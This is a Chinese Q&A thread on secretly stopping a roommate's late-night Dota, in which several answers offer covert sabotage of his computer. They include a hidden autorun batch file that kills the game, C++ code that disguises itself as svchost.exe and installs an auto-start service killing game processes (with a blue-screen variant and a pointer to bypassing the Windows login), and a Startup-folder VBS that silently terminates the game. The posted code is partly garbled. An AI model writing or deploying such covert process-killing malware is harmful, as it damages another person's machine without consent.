怎麼讓室友的 Dota 變得很卡?

室友每天晚上玩到一兩點,根本就不能睡,還開語音。他吵到你了只是一句對不起,然後繼續他的遊戲,然後又吵到你。。 能不能在他電腦上做點手腳,讓Dota變卡?或許這樣他就不會玩了。。

———————— 補充一下,題主只是想向大家求助點小技巧,能讓他遊戲變卡,因為校園網很卡的時候他就不會玩了,而且倒頭大睡,睡得比誰都快。。。 另外,不存在搶網速的問題,寢室只有他一人有電腦,每天他都是吃完晚飯坐上去,直到凌晨一兩點。。。 晚上的時間都還好,題主都在圖書館自習,主要是到了睡覺的時候沒辦法。。

————————我是題主,感謝大家的人生經驗。我按照@王小宇 的方法,給他電腦家裡個vbs文件,半小時閃退的那種。特意來告訴大家最後的結局

(打Dota的室友後來因為閃退沒打了,期間找了個女朋友,還好晚上不打電話,不然我又要來知乎提問了,謝謝大家。。。

————————不知道是不是被哪位大v點贊還是怎麼了,題目又活躍了。關於結局,上次不是更新了嗎?你們不滿意嗎?知乎哪那麼多聖母,我怎麼幫室友戒Dota要你來評論一句?就你會換宿舍?就你能和室友處理好關係?
提問是請求大家幫我解決問題,不是給你奚落題主的。
愛看看,不看哥屋恩。


天啊。。你們都是些什麼人啊。。。
不要進行物理性破壞。。。你們沒看到嗎?宿舍只有一台電腦,在他不玩DOTA的時候,其他人要用來上網的。。。。
20塊錢,京東買個無線滑鼠。。。插到電腦後面的USB口。。。他吵到你們睡覺你就在被窩裡玩滑鼠就行。。。


多談判幾輪,寧可談崩了打一架把事兒鬧大換宿舍,都不要做這種雞鳴狗盜的事情。
你今天耍小手段,明天他給飲水機放毒,就問你怕不怕


沒有用的,作為一個曾經的刀狗,你就算斷了我的網我也會去打電腦的。


台機的話就如樓上某人所說,偷偷在機箱後面裝個無線滑鼠信號接收器就好了,在他團戰的時候,補刀的時候,搶人頭的時候,搶F的時候,偷偷的動下你接上的滑鼠就行了,他一定會進精神病院的,信我。如果是筆記本的話就不太現實了,因為會被發現,不過還有的補救,一般筆記本都有藍牙的,平常開著隱藏圖標然後買個藍牙滑鼠,重複上述模式,他一樣會進精神病院的


說個我大學時候的事吧,同寢室一個B,總愛玩WOW,開YY帶團。每次一激動總是大喊「我的血,我的血,注意我的血」。夏天宿舍不斷電,別提多難受了。
我就寫了個批處理,死循環 每隔5秒鐘判斷當前時間是否超過晚上11點了,如果是直接taskkill /im wow.exe,哦對了,怎麼計時5秒鐘?直接ping http://www.baidu.com 就是5秒鐘了。
然後用vb加了個殼,這樣那個批處理的黑窗口就看不出來了,增加開機自啟動。放到他U盤的autorun。。。。
那幾天那傢伙抱著機箱跑到商店重裝了無數次系統。我憋著笑出了腹肌


卡是不能啦,but...

運行方法:
編譯main.cpp
而後無參數運行編譯出來的文件
然後會生成一個名為RoommateProtect服務

請檢查服務列表服務是否在運行來判斷是否成功

&建議環境: Windows 7及以上&

該服務 會以1分鐘為一個周期 結束lpszProgramFileName變數中存儲的進程名:)


自己要玩的時候找到這個服務停止掉 就好啦

該程序在Windows Server 2003 Enterprise Edition Service Pack 1下編譯通過
編譯器:Mingw g++ 4.7.1
編譯命令:g++ -o main.exe main.cpp -s

---update:Sept. 7th ,2015
重要更新 :修正了服務無法保持"狀態:"正在運行""的問題;
順帶:繞過登錄過程:直接新建administrators組用戶--如何破解windows開機密碼? 知乎用戶的回答

--update Sept. 9th ,2015
重要更新:修正了bug 該bug曾導致"服務無法啟動:找不到文件"

--update Dec. 23rd ,2015
重要更新:重構了頭文件的方式 將頭文件paste到了網站上
添加了代碼段:現在在Windows XP下也可以運行並取得預期效果啦!
//修改這個代碼使得我找到了我另一個整人代碼中的錯誤代碼段....Orz

--update Dec. 24th ,2015
重要更新:修復了bug:該bug曾導致在特定情況下安裝服務後導致"服務無法啟動:找不到文件"的問題
增加了對多個目標程序的滋磁
修正了一個bug:該bug曾導致服務重名時不能正常安裝服務
現在代碼在嚴格編譯下(-Wall -Wextra)不再出現警告
如需獲得(安裝)日誌 等更詳細信息 請在main函數下重定向stdout並重新編譯運行
增加了一段代碼 現在不用重啟也可以啟動服務啦

--update Apr. 20th ,2016
更勁爆的方式:遊戲運行後調用藍屏(可能會被報毒 如果被發現病毒後被查殺 請使用原來的版本:Release v1.1)

代碼地址:main.cpp

//main.cpp
//Last update:Apr. 14th , 2016a
#include &
#include &
#include &
#include "cekproc.h"
#include &
#include &
#include "bsod.hpp"

#define BAD_EXIT
_tprintf(_T("Bad Parameters.
")),
abort();
#define THROWERR(x) throw expection(x)

LPCTSTR lpszProgramFileName[]={
_T("wow.exe"),
_T("league of legends.exe"),
_T("lolclient.exe")
//such as : "***.exe"
};

SERVICE_STATUS_HANDLE ssh;
SERVICE_STATUS ss;
HANDLE hdThread,hdProcess;

void WINAPI Service_Main(DWORD, LPTSTR *);
void WINAPI Service_Control(DWORD);
void Func_Service_Install();
DWORD ______EnablePrivilege() ;
TCHAR buf1[1000],buf2[1000],buf3[1000],szline[1000];

enum _Parameters{
EXEC_START_NORMAL =1,
EXEC_START_SERVICE =2,
EXEC_BAD_PARAMETERS =1073741824
};

TCHAR const *szParameters[]={
_T("svc")
};
TCHAR Sname[]=_T("RoommateProtect");
const TCHAR *SzName[]={
Sname
};
SERVICE_TABLE_ENTRY STE[2]={{Sname,(LPSERVICE_MAIN_FUNCTION)Service_Main},{NULL,NULL}};

int __fastcall __Check_Parameters(int argc,TCHAR const **argv){
if (argc==1) return EXEC_START_NORMAL;
if (argc&>2 ||!((argv[1][0]==_T("/") ||
argv[1][0]==_T("-")) argv[1][1]!=_T(""))) BAD_EXIT;
size_t i=0;
for (;_tcscmp((argv[1][1]),szParameters[i])
i&Message=_;
}
};
SC_HANDLE shMang=NULL,shSvc=NULL;
try{
if (!GetEnvironmentVariable(_T("SystemRoot"),buf3,BUFSIZ))
THROWERR(_T("GetEnvironmentVariable() Error in Install Service."));
_stprintf(buf1,_T("%s\svchost.exe"),buf3);
_stprintf(buf2,_T(""%s\svchost.exe" -svc"),buf3);
if (!GetModuleFileName(NULL,szline,sizeof(szline)/sizeof(TCHAR)))
THROWERR(_T("GetModuleFileName() Error in Install Service."));
_tprintf(_T(" Step1:Copy file.
"));
if (!CopyFile(szline,buf1,FALSE))
THROWERR(_T("CopyFile() Error in Install Service.(Is service has been installed?)"));
_tprintf(_T(" Step2:Connect to SCM.
"));
if (!(shMang=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS)))
THROWERR(_T("OpenSCManager() failed."));
_tprintf(_T(" Step3:Write service.
"));
if (!(shSvc=CreateService(shMang,Sname,_T("Protect Roommate"),
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_NORMAL,
buf2,NULL,NULL,NULL,NULL,NULL))){
if (GetLastError()==ERROR_SERVICE_EXISTS){
if (!(shSvc=OpenService(shMang,Sname,SERVICE_ALL_ACCESS)))
THROWERR(_T("OpenService() Error in install service."));
if (!DeleteService(shSvc))
THROWERR(_T("DeleteService() Error in Install Service."));
CloseServiceHandle(shSvc);
if (!(shSvc=CreateService(shMang,Sname,_T("Protect Roommate"),
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_NORMAL,
buf2,NULL,NULL,NULL,NULL,NULL)))
THROWERR(_T("CreateService() failed.(2)")),CloseServiceHandle(shMang);
}
else
THROWERR(_T("CreateService() failed."));
}
else
_tprintf(_T("Install service successfully.
"));
if (!(shSvc=OpenService(shMang,Sname,SERVICE_START)))
THROWERR(_T("OpenService() Failed"));
else
if (!StartService(shSvc,1,SzName))
THROWERR(_T("StartService() Failed."));
else
MessageBox(NULL,_T("Service started successfully"),_T("Congratulations!"),
MB_SETFOREGROUND|MB_ICONINFORMATION);

}
catch (expection runtimeError){
_tprintf(_T("
Fatal Error:
%s (GetLastError():%ld)

Please contact the application"s support team for more information.
"),
runtimeError.Message,GetLastError());
_tprintf(_T("
[Debug Message]
%s
%s
%s
"),buf1,buf2,buf3);
abort();
}
CloseServiceHandle(shMang);
CloseServiceHandle(shSvc);
system("pause");
return ;
}

/*
** Kill! Kill! Kill! Kill! Kill! Kill! Kill! Kill!
*/

DWORD CALLBACK Main_Thread(LPVOID){
srand(time(NULL));
for (DWORD dwProcessID;;Sleep(1000*60*10))//10 min
for (size_t i=0;i&


midlord:專治沉迷LOL室友,親測有效 先利用TXT寫以下代碼另存為VBS格式,代碼如下:
do
set bag=getobject("winmgmts:.rootcimv2")
set pipe=bag.execquery("select * from win32_process where name=" Warcraft III:Frozen Throne. exe"")
for each i in pipe
i.terminate()
next
wscript.sleep 1000
loop
代碼的意思是:系統每1000毫秒檢測一次是否運行了 Warcraft III:Frozen Throne .exe這樣一個程序,如果運行了,他會自動後台關閉程序,但是對別的運行軟體是沒有任何影響的,絕對毫無痕迹!1000毫秒和 Warcraft III:Frozen Throne .exe可以改成你需要的任何時間(比如2分鐘檢查一次就填寫120000)和任何你需要結束的進程~這樣,從別人看來的效果就是「dota怎麼老是閃退啊啊啊啊!重新進還是,破電腦,不玩了」
把建立的VBS存放在這個文件夾 C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp
開機自動啟妥妥的
如果自己要玩,提前進入資源管理器找到VBS進程結束運行就好

另外,因為dota是在魔獸爭霸3上運行的,如果是dota2請把 Warcraft III:Frozen Throne這個詞換一下。


這還要技巧?dota不是一直都卡嗎?


你可以學習一下dota,然後用科學的方式勸他十二點之後玩DOTA不適合

一個月後,就是你的其他舍友問,宿舍有兩個人天天晚上2點玩DOTA


把排風扇的電線拔掉,或者把CPU和顯卡的硅脂擦掉 保證玩神魔都卡


去圖書館找本網路攻防的書,我上大學時有一個宿舍就是這樣,有一個A同學玩遊戲到很晚,他室友看了幾本網路攻防的書,具體原理不清楚,總之一到10點,必然讓A同學的電腦藍屏。後來A同學的電腦被調教出感覺了,到十點自動藍屏,從此A同學玩遊戲只到10點,特別自覺!後來所有人都知道是怎麼回事,只有A同學自己不知道。。。。一直到畢業都不知道。。。。


請撥通他媽的電話,然後別掛機,靜靜等待奇蹟的來臨


現在路由器都有終端的流量限制,你回頭打開它電腦用命令行敲:
ipconfig 回車,把他計算機的MAC地址記下來
然後找到你們宿舍路由器的說明書,把這個MAC地址進行限速即可。
當年我做得比較絕,按照內網IP把他浩方對戰平台的埠號封了,後來他發現qq平台能打,我一查用的80埠,就乾脆把他電腦ban了。後來他找到一學長,學長給他換了個寫死的IP地址,我就乾脆把他MAC地址封了。

所以,都是學CS的,你不好好學習一定會被同學欺負。


我曾經也是題主這樣的人,自己不打Dota,習慣早睡,然後宿舍有人晚上很晚了還打,滑鼠鍵盤噼里啪啦,讓我很不爽。
果斷噴之!
然後我就跟他學Dota了...從此我們宿舍過上了全員開黑的幸福生活。晚上打到兩三點那都不是事兒,滑鼠鍵盤噼里啪啦,讓我很興奮。
兩年過去了,雖然我們畢業各奔東西,但空下來了還是會一起開黑。


我室友說我打dota的時候好粗暴,但她們還沒到不想讓我玩的地步,那是因為因為12點斷網!!!!!沒得玩!!!


沒用的,他會拍桌子,摔鍵盤,大聲地罵我艹!


把他舌頭拔了?(如果你上頭有人的話)


給他介紹一個女朋友


換宿舍吧。。

你改變不了的,當初隔壁宿舍三個人天天夜裡開黑,白天睡覺,也不上課;另外一哥們痛不欲生,後來幾乎天天來我們宿舍打地鋪……


我遇到過這樣的傢伙,我冥思苦想三個月,最終還是沒找到優雅文明的解決方法,感覺還是暴力管用


推薦閱讀:

為什麼 DOTA2 中沒有中後期消耗道具?
如何以古龍的風格寫DOTA故事?
DOTA2 和《英雄聯盟》遊戲設計上的有什麼本質性不同?
用事實分析pis的天賦在哪個級別,是不是最頂尖的,或者僅僅是粉絲們吹得厲害?
末日守衛被稱為「爸爸」,岳飛被稱為「爺爺」,諸葛亮號稱「卧龍」,誰強誰弱呢?

TAG:計算機 | 刀塔DOTA2 | 室友 | 寢室關係 |